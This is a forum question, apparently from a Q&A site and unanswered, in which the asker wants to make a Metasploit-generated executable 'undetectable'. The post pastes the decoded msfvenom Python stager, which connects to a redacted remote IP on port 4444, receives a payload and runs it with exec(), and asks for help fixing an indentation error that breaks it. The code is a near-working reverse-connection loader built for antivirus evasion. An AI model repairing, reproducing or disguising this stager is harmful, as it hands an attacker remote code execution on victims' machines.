0

I am trying to make an undetectable executable with metasploit, metasploit makes the exploit, I make it undetectable, but it seems like metasploit failed his only task:

I just got it from msvenom, tried to run it and I get the error:

File "<string>", line 5
s.connect(('XXX.XXX.X.XXX', 4444))
^  SyntaxError: invalid syntax

I decrypted the code and this is the code :

 import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
    s.connect(('XXX.XXX.X.XXX', XXXX))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})

can you help me fix the code?

0 Answers0